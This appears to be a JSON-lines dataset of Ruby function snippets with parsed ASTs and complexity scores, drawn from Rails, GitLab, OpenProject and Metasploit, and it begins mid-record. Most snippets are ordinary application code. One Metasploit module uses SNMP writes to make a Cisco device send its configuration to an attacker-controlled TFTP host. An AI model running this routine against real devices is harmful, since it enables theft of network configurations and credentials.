\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"tab_complete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]}]},{\"type\":\"sym\",\"children\":[\"override_completions\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_help\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"run_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"help \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@aliases\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"68dad23a-cc72-4000-9bda-1368ff304a7f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/javascript_helper.rb","start_line":95,"raw_source":"def javascript_cdata_section(content) # :nodoc:\n        \"\\n//#{cdata_section(\"\\n#{content}\\n//\")}\\n\".html_safe\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"javascript_cdata_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n//\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cdata_section\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"\\n//\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"html_safe\"]}]}","id":"ca758e67-09ac-41e6-a830-d4b142d332de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/value_streams_dashboard_helpers.rb","start_line":123,"raw_source":"def create_mock_dora_performers_score_metrics(group)\n    [\n      [nil, 'high', 'high', 'high'],\n      %w[high low low medium],\n      ['medium', 'low', 'medium', nil]\n    ].each do |deployment_frequency, lead_time_for_changes, time_to_restore_service, change_failure_rate|\n      create(\n        :dora_performance_score,\n        project: create(:project, group: group),\n        date: 1.month.ago.beginning_of_month,\n        deployment_frequency: deployment_frequency,\n        lead_time_for_changes: lead_time_for_changes,\n        time_to_restore_service: time_to_restore_service,\n        change_failure_rate: change_failure_rate\n      )\n    end\n  end","complexity_score":9.38,"ast_json":"{\"type\":\"def\",\"children\":[\"create_mock_dora_performers_score_metrics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"high\"]},{\"type\":\"str\",\"children\":[\"high\"]},{\"type\":\"str\",\"children\":[\"high\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"high\"]},{\"type\":\"str\",\"children\":[\"low\"]},{\"type\":\"str\",\"children\":[\"low\"]},{\"type\":\"str\",\"children\":[\"medium\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"medium\"]},{\"type\":\"str\",\"children\":[\"low\"]},{\"type\":\"str\",\"children\":[\"medium\"]},{\"type\":\"nil\",\"children\":[]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deployment_frequency\"]},{\"type\":\"arg\",\"children\":[\"lead_time_for_changes\"]},{\"type\":\"arg\",\"children\":[\"time_to_restore_service\"]},{\"type\":\"arg\",\"children\":[\"change_failure_rate\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"dora_performance_score\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]},\"ago\"]},\"beginning_of_month\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployment_frequency\"]},{\"type\":\"lvar\",\"children\":[\"deployment_frequency\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lead_time_for_changes\"]},{\"type\":\"lvar\",\"children\":[\"lead_time_for_changes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_to_restore_service\"]},{\"type\":\"lvar\",\"children\":[\"time_to_restore_service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"change_failure_rate\"]},{\"type\":\"lvar\",\"children\":[\"change_failure_rate\"]}]}]}]}]}]}","id":"61b70b2d-2c14-4a9b-9ec4-e92118b915ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb","start_line":111,"raw_source":"def run_host(ip)\n    source = datastore['SOURCE'].to_i\n    protocol = 1\n    filename = \"#{ip}.txt\"\n    lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)\n\n    ccconfigcopyprotocol = '1.3.6.1.4.1.9.9.96.1.1.1.1.2.'\n    cccopysourcefiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.3.'\n    cccopydestfiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.4.'\n    cccopyserveraddress = '1.3.6.1.4.1.9.9.96.1.1.1.1.5.'\n    cccopyfilename = '1.3.6.1.4.1.9.9.96.1.1.1.1.6.'\n    cccopyentryrowstatus = '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'\n\n    session = rand(1..255)\n\n    snmp = connect_snmp\n\n    varbind = SNMP::VarBind.new(\"#{ccconfigcopyprotocol}#{session}\", SNMP::Integer.new(protocol))\n    snmp.set(varbind)\n\n    # If the above line didn't throw an error, the host is alive and the community is valid\n    print_status(\"Trying to acquire configuration from #{ip}...\")\n\n    varbind = SNMP::VarBind.new(\"#{cccopysourcefiletype}#{session}\", SNMP::Integer.new(source))\n    snmp.set(varbind)\n\n    varbind = SNMP::VarBind.new(\"#{cccopydestfiletype}#{session}\", SNMP::Integer.new(1))\n    snmp.set(varbind)\n\n    varbind = SNMP::VarBind.new(\"#{cccopyserveraddress}#{session}\", SNMP::IpAddress.new(lhost))\n    snmp.set(varbind)\n\n    varbind = SNMP::VarBind.new(\"#{cccopyfilename}#{session}\", SNMP::OctetString.new(filename))\n    snmp.set(varbind)\n\n    varbind = SNMP::VarBind.new(\"#{cccopyentryrowstatus}#{session}\", SNMP::Integer.new(1))\n    snmp.set(varbind)\n\n    varbind = SNMP::VarBind.new(\"#{cccopyentryrowstatus}#{session}\", SNMP::Integer.new(6))\n    snmp.set(varbind)\n  rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout\n    # No need to make noise about timeouts\n  rescue ::SNMP::UnsupportedVersion => e\n    vprint_error(e.message)\n  rescue ::Interrupt\n    raise $ERROR_INFO\n  rescue ::StandardError => e\n    print_error(\"#{ip} Error: #{e.class} #{e} #{e.backtrace}\")\n  ensure\n    disconnect_snmp\n  end","complexity_score":75.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SOURCE\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lhost\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ccconfigcopyprotocol\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.96.1.1.1.1.2.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cccopysourcefiletype\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.96.1.1.1.1.3.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cccopydestfiletype\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.96.1.1.1.1.4.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cccopyserveraddress\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.96.1.1.1.1.5.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cccopyfilename\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.96.1.1.1.1.6.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cccopyentryrowstatus\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.96.1.1.1.1.14.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"snmp\",{\"type\":\"send\",\"children\":[null,\"connect_snmp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ccconfigcopyprotocol\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"protocol\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying to acquire configuration from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cccopysourcefiletype\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cccopydestfiletype\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Integer\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cccopyserveraddress\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"IpAddress\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"lhost\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cccopyfilename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"OctetString\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cccopyentryrowstatus\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Integer\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]},{\"type\":\"lvasgn\",\"children\":[\"varbind\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cccopyentryrowstatus\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Integer\"]},\"new\",{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"RequestTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"UnsupportedVersion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect_snmp\"]}]}]}","id":"2ae4277c-4da6-4f24-aa57-281618557981"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/cover.rb","start_line":182,"raw_source":"def custom_cover_image\n    return unless CustomStyle.current.present? &&\n      CustomStyle.current.export_cover.present? && CustomStyle.current.export_cover.local_file.present?\n\n    image_file = CustomStyle.current.export_cover.local_file.path\n    content_type = OpenProject::ContentTypeDetector.new(image_file).detect\n    return unless pdf_embeddable?(content_type)\n\n    image_file\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_cover_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomStyle\"]},\"current\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomStyle\"]},\"current\"]},\"export_cover\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomStyle\"]},\"current\"]},\"export_cover\"]},\"local_file\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"image_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomStyle\"]},\"current\"]},\"export_cover\"]},\"local_file\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"ContentTypeDetector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"image_file\"]}]},\"detect\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf_embeddable?\",{\"type\":\"lvar\",\"children\":[\"content_type\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"image_file\"]}]}]}","id":"974094bc-2dcb-4939-a863-f823e6cf1b21"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/debug_helper.rb","start_line":28,"raw_source":"def debug(object)\n        Marshal.dump(object)\n        object = ERB::Util.html_escape(object.to_yaml)\n        content_tag(:pre, object, class: \"debug_dump\")\n      rescue # errors from Marshal or YAML\n        # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback\n        content_tag(:code, object.inspect, class: \"debug_dump\")\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"debug\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_yaml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"pre\"]},{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"debug_dump\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"inspect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"debug_dump\"]}]}]}]}]},null]}]}","id":"a6f85025-1ee1-405e-a0cf-05e896c8ae6c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/controller_with_cross_project_access_check.rb","start_line":11,"raw_source":"def cross_project_check\n    authorize_cross_project_page! if Gitlab::CrossProjectAccess.find_check(self)&.should_run?(self)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cross_project_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CrossProjectAccess\"]},\"find_check\",{\"type\":\"self\",\"children\":[]}]},\"should_run?\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"authorize_cross_project_page!\"]},null]}]}","id":"99b85fe7-d5e0-45f5-9f33-0f2d545dff85"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/storage_files_service.rb","start_line":37,"raw_source":"def call(user:, storage:, folder:)\n      with_tagged_logger do\n        auth_strategy = strategy(storage, user)\n\n        info \"Requesting all the files under folder #{folder} for #{storage.name}\"\n\n        input_data = Adapters::Input::Files.build(folder:).value_or { return add_validation_error(it) }\n\n        files = Adapters::Registry\n                  .resolve(\"#{storage}.queries.files\").call(storage:, auth_strategy:, input_data:)\n                  .value_or { return add_error(:base, it, options: { storage_name: storage.name, folder: }) }\n\n        @result.result = files\n        @result\n      end\n    end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"storage\"]},{\"type\":\"kwarg\",\"children\":[\"folder\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_strategy\",{\"type\":\"send\",\"children\":[null,\"strategy\",{\"type\":\"lvar\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting all the files under folder \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"input_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Input\"]},\"Files\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"folder\"]},{\"type\":\"lvar\",\"children\":[\"folder\"]}]}]}]},\"value_or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_validation_error\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"str\",\"children\":[\".queries.files\"]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_strategy\"]},{\"type\":\"lvar\",\"children\":[\"auth_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_data\"]},{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]}]},\"value_or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"it\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"folder\"]},{\"type\":\"lvar\",\"children\":[\"folder\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"result=\",{\"type\":\"lvar\",\"children\":[\"files\"]}]},{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]}","id":"973a272c-3cf4-4c2d-b1b4-737c9421b174"}
